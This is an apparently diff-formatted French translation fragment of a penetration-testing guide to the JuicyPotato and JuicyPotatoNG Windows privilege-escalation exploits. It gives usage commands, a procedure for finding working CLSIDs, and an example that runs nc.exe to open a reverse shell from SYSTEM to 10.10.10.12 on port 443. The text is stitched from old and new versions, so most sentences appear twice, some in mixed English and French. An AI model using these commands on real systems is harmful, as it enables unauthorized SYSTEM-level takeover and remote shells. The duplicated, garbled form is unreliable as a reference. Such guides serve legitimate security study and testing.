- résolution OXID DCOM vers un serveur RPC local sur un port choisi, évitant l'ancien listener codé en dur 127.0.0.1:6666.
- un hook SSPI pour capturer et usurper l'authentification entrante SYSTEM sans nécessiter RpcImpersonateClient, ce qui permet aussi CreateProcessAsUser lorsqu'uniquement SeAssignPrimaryTokenPrivilege est présent.
- des astuces pour satisfaire les contraintes d'activation DCOM (par ex., l'ancienne exigence du groupe INTERACTIVE lorsqu'on cible les classes PrintNotify / ActiveX Installer Service).
Remarques importantes (comportement évolutif selon les builds) :
- September 2022: Initial technique worked on supported Windows 10/11 and Server targets using the “INTERACTIVE trick”.
Notes importantes (comportement évolutif selon les builds) :
- September 2022: la technique initiale fonctionnait sur les cibles Windows 10/11 et Server prises en charge en utilisant le “INTERACTIVE trick”.
- January 2023 update from the authors: Microsoft later blocked the INTERACTIVE trick. A different CLSID ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) restores exploitation but only on Windows 11 / Server 2022 according to their post.
Basic usage (more flags in the help):
Utilisation de base (plus d'options dans l'aide) :
```
JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami"
# Useful helpers:
@ -103,13 +103,13 @@ JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami"
# -s Scan for a COM port not filtered by Windows Defender Firewall
# -i Interactive console (only with CreateProcessAsUser)
```
Si vous ciblez Windows 10 1809 / Server 2019 où la version classique de JuicyPotato est patchée, privilégiez les alternatives indiquées en haut (RoguePotato, PrintSpoofer, EfsPotato/GodPotato, etc.). NG peut être situationnel selon le build et l'état des services.
Si vous ciblez Windows 10 1809 / Server 2019 où le JuicyPotato classique est patché, privilégiez les alternatives liées en haut (RoguePotato, PrintSpoofer, EfsPotato/GodPotato, etc.). NG peut être situationnel selon la build et l'état du service.
## Exemples
Note: Visit [this page](https://ohpe.it/juicy-potato/CLSID/) for a list of CLSIDs to try.
Note: Visitez [this page](https://ohpe.it/juicy-potato/CLSID/) pour une liste de CLSIDs à essayer.
### Obtenir un reverse shell avec nc.exe
### Obtenir un nc.exe reverse shell
```
c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *
@ -132,19 +132,19 @@ c:\Users\Public>
## Problèmes de CLSID
Souvent, le CLSID par défaut utilisé par JuicyPotato **ne fonctionne pas** et l'exploit échoue. En général, il faut plusieurs tentatives pour trouver un **CLSID fonctionnel**. Pour obtenir une liste de CLSIDs à tester pour un système d'exploitation spécifique, vous devriez visiter cette page :
Souvent, le CLSID par défaut que JuicyPotato utilise **ne fonctionne pas** et l'exploit échoue. Généralement, il faut plusieurs tentatives pour trouver un **CLSID fonctionnel**. Pour obtenir une liste de CLSID à essayer pour un système d'exploitation spécifique, vous devriez visiter cette page :
- [https://ohpe.it/juicy-potato/CLSID/](https://ohpe.it/juicy-potato/CLSID/)
### **Vérifier les CLSIDs**
### **Vérification des CLSID**
D'abord, vous aurez besoin de quelques exécutables en plus de juicypotato.exe.
Tout d'abord, vous aurez besoin de quelques exécutables en plus de juicypotato.exe.
Téléchargez [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) et chargez-le dans votre session PS, puis téléchargez et exécutez [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1). Ce script créera une liste de CLSIDs possibles à tester.
Téléchargez [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) et chargez-le dans votre session PS, puis téléchargez et exécutez [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1). Ce script créera une liste de CLSID possibles à tester.
Ensuite, téléchargez [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)(changez le chemin vers la liste de CLSID et vers l'exécutable juicypotato) et exécutez-le. Il commencera à essayer chaque CLSID, et **lorsque le numéro de port change, cela signifie que le CLSID a fonctionné**.
Ensuite, téléchargez [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat) (changez le chemin vers la liste de CLSID et vers l'exécutable juicypotato) et exécutez-le. Il commencera à essayer chaque CLSID, et **lorsque le numéro de port change, cela signifie que le CLSID a fonctionné**.
**Vérifiez** les CLSIDs fonctionnels **en utilisant le paramètre -c**
**Vérifiez** les CLSID fonctionnels **en utilisant le paramètre -c**
## Références